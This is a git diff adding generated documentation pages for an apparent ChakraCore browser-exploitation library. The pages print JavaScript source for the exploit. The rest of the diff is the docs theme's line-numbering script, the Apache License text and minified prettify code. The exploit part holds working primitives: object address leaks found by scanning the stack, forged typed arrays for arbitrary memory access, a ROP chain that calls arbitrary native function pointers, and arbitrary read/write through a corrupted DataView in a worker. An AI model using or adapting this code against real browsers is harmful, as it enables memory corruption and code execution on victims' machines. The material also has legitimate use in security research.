+ * @param {*} obj Any Javascript object
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOf = function (obj) {
+    this.locateArray[0] = obj;
+    return this.locateArrayPtr[0];
+}
+/**
+ * Returns the address of a string. Points to the string's bytes.
+ *
+ * @param {string} s A Javascript string
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOfString = function (s) {
+    return this.Uint64Ptr.cast(this.addressOf(s).add(0x10)).load();
+}
+/**
+ * Returns the address of a Javascript object. Internal.
+ *
+ * @param {*} obj Any Javascript object
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOfSlow = function (obj) {
+    var address;
+    eval('String.prototype.slice').call('', {
+        valueOf: () => {
+            var gadgets = this.gadgets;
+            if (this.stackTop === undefined) {
+                var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
+                // Default stack size of browser tab
+                //  10 MB
+                // Default stack size of web worker
+                //   1 MB
+                var stackSize = ('undefined' !== typeof WorkerGlobalScope) ? 1*1024*1024 : 10*1024*1024;
+                var stackTop = stackLimit.sub(0xc000).add(stackSize);
+                this.stackTop = stackTop;
+            }
+            var stk = this.Uint64Ptr.cast(this.stackTop).add(-1);
+            while (!this.Uint64.cast(gadgets.entrySlice).eq(stk.load())) {
+                stk = stk.add(-1);
+                if (stk.address <= this.stackTop.sub(0x10000)) {
+                    throw 'unable to find entrySlice';
+                }
+            }
+            while (!this.Uint64.cast(gadgets.amd64CallFunction).add(13).eq(stk.load())) {
+                stk = stk.add(1);
+                if (stk.address >= this.stackTop) {
+                    throw 'unable to find amd64CallFunction';
+                }
+            }
+            while (!stk[0].eq(new Integer(0x42424242, 0x10000)) || !stk[2].eq(new Integer(0x41414141, 0x10000))) {
+                stk = stk.add(1);
+                if (stk.address >= this.stackTop) {
+                    throw 'unable to find canaries';
+                }
+            }
+            address = this.Uint8Ptr.cast(stk[1]);
+        }
+    }, 0, 0, 0, obj, 0x42424242, obj, 0x41414141);
+    return address;
+}
+ChakraExploit.prototype.customInt32Array = function (address) {
+    var i32 = new Int32Array(1);
+    var p = this.Uint64Ptr.cast(this.addressOf(i32));
+    p[4] = 0x7FFFFFFF;
+    p[7] = address;
+    return i32;
+}
+/**
+ * Call a function pointer with the given arguments. Used internally by FunctionPointer.
+ *
+ * @param {Integer} address
+ * @param {...Integer} args
+ * @returns {Integer}
+ */
+ChakraExploit.prototype.call = function (address, ...args) {
+    if (args.length > 10) {
+        throw 'too many arguments';
+    }
+    var returnValAddr;
+    eval('String.prototype.slice').call('', {
+        valueOf: () => {
+            var gadgets = this.gadgets;
+            if (this.stackTop === undefined) {
+                var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
+                // Default stack size of browser tab
+                //  10 MB
+                // Default stack size of web worker
+                //   1 MB
+                var stackSize = ('undefined' !== typeof WorkerGlobalScope) ? 1*1024*1024 : 10*1024*1024;
+                var stackTop = stackLimit.sub(0xc000).add(stackSize);
+                this.stackTop = stackTop;
+            }
+            var amd64CallFunction = this.Uint64.cast(gadgets.amd64CallFunction).add(13);
+            var entrySlice = this.Uint64.cast(gadgets.entrySlice);
+            var stackBottom = this.stackTop.sub(0x10000);
+            var stk = this.customInt32Array(stackBottom);
+            for (var i = 0x10000 / 8 - 8; i >= 0; i -= 1) {
+                if (entrySlice.low == stk[i*2] && entrySlice.high == stk[i*2+1]) {
+                    break;
+                }
+            }
+            if (i == 0) {
+                throw 'unable to find entrySlice';
+            }
+            while (amd64CallFunction.low != stk[i*2] || amd64CallFunction.high != stk[i*2+1]) {
+                i++;
+                if (i == 0x10000 / 8) {
+                    throw 'unable to find amd64CallFunction';
+                }
+            }
+            var stk = this.Uint64Ptr.cast(stackBottom.add(i * 8));
+            var savedRbpAddr = stk.add(-2);
+            stk = stk.add(-0x20000 / 8);
+            var i32 = this.customInt32Array(stk);
+            // probe stack
+            for (var i = 0x20; i >= 0; i--) {
+                let x = i32[i * 0x1000 / 4];
+            }
+            // helper for writing Uint64 to Int32Array
+            function write64(i32, i, val) {
+                if (val.address) {
+                    val = val.address;
+                } else {
+                    val = Integer.fromValue(val);
+                }
+                i32[i * 2 + 0] = val.low;
+                i32[i * 2 + 1] = val.high;
+            }
+            // ROP chain
+            // skip saved rbp, rdi, rsi, rbx
+            i = 4;
+            // pop r8 and r9 using code in amd64_CallFunction
+            write64(i32, i, gadgets.popRsiReturn);
+            i++;
+            write64(i32, i, stk);
+            i++;
+            if (args[2] !== undefined)
+                write64(i32, 0, args[2]); // r8
+            if (args[3] !== undefined)
+                write64(i32, 1, args[3]); // r9
+            write64(i32, i, gadgets.popRaxReturn);
+            i++;
+            write64(i32, i, gadgets.nopReturn);
+            i++;
+            write64(i32, i, gadgets.popRbpReturn);
+            i++;
+            write64(i32, i, stk.add(i - 2));
+            i++;
+            write64(i32, i, gadgets.amd64CallFunction);
+            i++;
+            write64(i32, i, gadgets.popRdxReturn);
+            i++;
+            if (args[1] !== undefined)
+                write64(i32, i, args[1]);
+            i++;
+            write64(i32, i, gadgets.popRcxReturn);
+            i++;
+            if (args[0] !== undefined)
+                write64(i32, i, args[0]);
+            i++;
+            write64(i32, i, address);
+            i++;
+            write64(i32, i, gadgets.addRsp58Return);
+            i++;
+            i += 4; // skip 0x20 shadow space
+            if (args[4] !== undefined)
+                write64(i32, i, args[4]);
+            i++;
+            if (args[5] !== undefined)
+                write64(i32, i, args[5]);
+            i++;
+            if (args[6] !== undefined)
+                write64(i32, i, args[6]);
+            i++;
+            if (args[7] !== undefined)
+                write64(i32, i, args[7]);
+            i++;
+            if (args[8] !== undefined)
+                write64(i32, i, args[8]);
+            i++;
+            if (args[9] !== undefined)
+                write64(i32, i, args[9]);
+            i++;
+            if (args[10] !== undefined)
+                write64(i32, i, args[10]);
+            i++;
+            write64(i32, i, gadgets.popRdxReturn);
+            i++;
+            write64(i32, i, stk);
+            i++;
+            write64(i32, i, gadgets.storeRaxAtRdxReturn);
+            i++;
+            write64(i32, i, gadgets.popRaxReturn);
+            i++;
+            write64(i32, i, new Integer(0, 0x40000));
+            i++;
+            write64(i32, i, gadgets.popRbpReturn);
+            i++;
+            write64(i32, i, savedRbpAddr.load());
+            i++;
+            write64(i32, i, gadgets.popRspReturn);
+            i++;
+            write64(i32, i, savedRbpAddr.add(2));
+            i++;
+            savedRbpAddr[0] = stk;
+            returnValAddr = stk;
+        }
+    });
+    return returnValAddr[0];
+}
+/**
+ * Constructs an exploit class for a worker script. Used in concert with {@link ChakraExploit#Thread} to support multithreading.
+ *
+ * @augments ChakraExploit
+ * @class
+ * @constructor
+ */
+function ChakraThreadExploit() {
+    ChakraExploit.call(this);
+
+    var dvManager = new DataView(new ArrayBuffer(0x1000));
+    var dvWorker = new DataView(new ArrayBuffer(0x1000));
+    this.dvWorker = dvWorker;
+    this.dvManager = dvManager;
+
+    eval('String.prototype.slice').call('', {
+        valueOf: function () {
+            postMessage('CHAKRA_EXPLOIT');
+            while (dvManager.getInt32(0) == 0) {};
+        }
+    }, 0, 0, 0, 0, 0x41424344, dvWorker, dvManager, 0x41414141);
+    
+    var vtable = new Integer(dvManager.getInt32(0, true), dvManager.getInt32(4, true));
+    this.vtable = vtable;
+    this.chakraBase = this.findModuleBase(vtable);
+    this.initChakra(vtable);
+}
+ChakraThreadExploit.prototype = Object.create(ChakraExploit.prototype);
+ChakraThreadExploit.prototype.constructor = ChakraThreadExploit;
+/**
+ * Arbitrary memory read using corrupted DataView.
+ *
+ * @param {Integer} address Memory address
+ * @param {integer} size Bit size
+ * @returns {Integer}
+ */
+ChakraThreadExploit.prototype.read = function (address, size) {
+    this.dvManager.setInt32(7 * 8, address.low, true);
+    this.dvManager.setInt32(7 * 8 + 4, address.high, true);
+
+    switch (size) {
+        case 8: return new Integer(this.dvWorker.getInt8(0, true), 0, true);
+        case 16: return new Integer(this.dvWorker.getInt16(0, true), 0, true);
+        case 32: return new Integer(this.dvWorker.getInt32(0, true), 0, true);
+        case 64: return new Integer(this.dvWorker.getInt32(0, true), this.dvWorker.getInt32(4, true), true);
+    }
+}
+/**
+ * Arbitrary memory write using corrupted DataView.
+ *
+ * @param {Integer} address Memory address
+ * @param {Integer} value Value to write
+ * @param {integer} size Bit size
+ */
+ChakraThreadExploit.prototype.write = function (address, value, size) {
+    this.dvManager.setInt32(7 * 8, address.low, true);
+    this.dvManager.setInt32(7 * 8 + 4, address.high, true);
+
+    switch (size) {
+        case 8: return this.dvWorker.setInt8(0, value.low|0, true);
+        case 16: return this.dvWorker.setInt16(0, value.low|0, true);
+        case 32: return this.dvWorker.setInt32(0, value.low|0, true);
+        case 64:
+            this.dvWorker.setInt32(0, value.low|0, true);
+            this.dvWorker.setInt32(4, value.high|0, true);
+    }
+}
+
+
+
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Thu Nov 09 2017 10:55:27 GMT+0900 (KST) using the docdash theme. +
+ + + + + diff --git a/docs/scripts/linenumber.js b/docs/scripts/linenumber.js new file mode 100644 index 0000000..9cb8914 --- /dev/null +++ b/docs/scripts/linenumber.js @@ -0,0 +1,25 @@ +/*global document */ +(function() { + var source = document.getElementsByClassName('prettyprint source linenums'); + var i = 0; + var lineNumber = 0; + var lineId; + var lines; + var totalLines; + var anchorHash; + + if (source && source[0]) { + anchorHash = document.location.hash.substring(1); + lines = source[0].getElementsByTagName('li'); + totalLines = lines.length; + + for (; i < totalLines; i++) { + lineNumber++; + lineId = 'line' + lineNumber; + lines[i].id = lineId; + if (lineId === anchorHash) { + lines[i].className += ' selected'; + } + } + } +})(); diff --git a/docs/scripts/prettify/Apache-License-2.0.txt b/docs/scripts/prettify/Apache-License-2.0.txt new file mode 100644 index 0000000..75b5248 --- /dev/null +++ b/docs/scripts/prettify/Apache-License-2.0.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/docs/scripts/prettify/lang-css.js b/docs/scripts/prettify/lang-css.js new file mode 100644 index 0000000..bb6dbea --- /dev/null +++ b/docs/scripts/prettify/lang-css.js @@ -0,0 +1,2 @@ +PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n "]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com", +/^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); diff --git a/docs/scripts/prettify/prettify.js b/docs/scripts/prettify/prettify.js new file mode 100644 index 0000000..ec2a488 --- /dev/null +++ b/docs/scripts/prettify/prettify.js @@ -0,0 +1,28 @@ +var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; +(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= +[],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), +l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, +q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, +q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, +"");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), +a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} +for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], +"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], +H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], +J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ +I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), +["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", +/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), +["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", +hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= +!k){b=n;for(var o=void 